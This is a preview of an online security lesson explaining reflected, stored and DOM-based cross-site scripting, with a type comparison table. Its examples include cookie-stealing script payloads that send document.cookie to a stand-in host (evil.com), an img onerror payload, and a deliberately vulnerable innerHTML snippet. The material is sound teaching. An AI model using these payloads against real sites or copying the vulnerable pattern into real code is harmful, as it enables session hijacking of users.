You are viewing a free preview of this lesson.
Subscribe to unlock all 10 lessons in this course and every other course on LearningBro.
Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, the attacker can steal session tokens, redirect users, deface websites, or perform actions on behalf of the victim.
XSS exploits the trust a user's browser places in the content received from a website. If a web application includes user-supplied data in its output without proper encoding, an attacker can inject JavaScript that the browser executes as if it were legitimate application code.
User Input (Malicious Script)
│
▼
Web Application (includes input in HTML without encoding)
│
▼
Victim's Browser (executes the script as trusted code)
| Type | Storage | Trigger | Severity |
|---|---|---|---|
| Reflected XSS | Not stored; included in the server's response to a request | Victim clicks a crafted link | Medium–High |
| Stored XSS | Stored in the database or server | Victim views the page containing the stored payload | High–Critical |
| DOM-based XSS | Never sent to the server; executed entirely in the browser | Client-side JavaScript processes attacker-controlled data | Medium–High |
The most common type. The malicious script is part of the URL or request and is reflected back in the response:
# Vulnerable search page
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
If the application includes the search term in the page without encoding:
<p>You searched for: <script>document.location='https://evil.com/?c='+document.cookie</script></p>
The browser executes the script, sending the victim's cookies to the attacker's server.
The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.):
<!-- Attacker posts this as a comment -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Every user who views the page containing this comment has their cookies stolen. Stored XSS is more dangerous because it does not require the victim to click a specific link — simply visiting the page is enough.
The vulnerability exists in client-side JavaScript that processes data from an attacker-controlled source:
// VULNERABLE — reads from URL fragment and writes to DOM
const name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
# Attacker URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>
The payload never reaches the server — it is processed entirely by the browser's JavaScript.
Subscribe to continue reading
Get full access to this lesson and all 10 lessons in this course.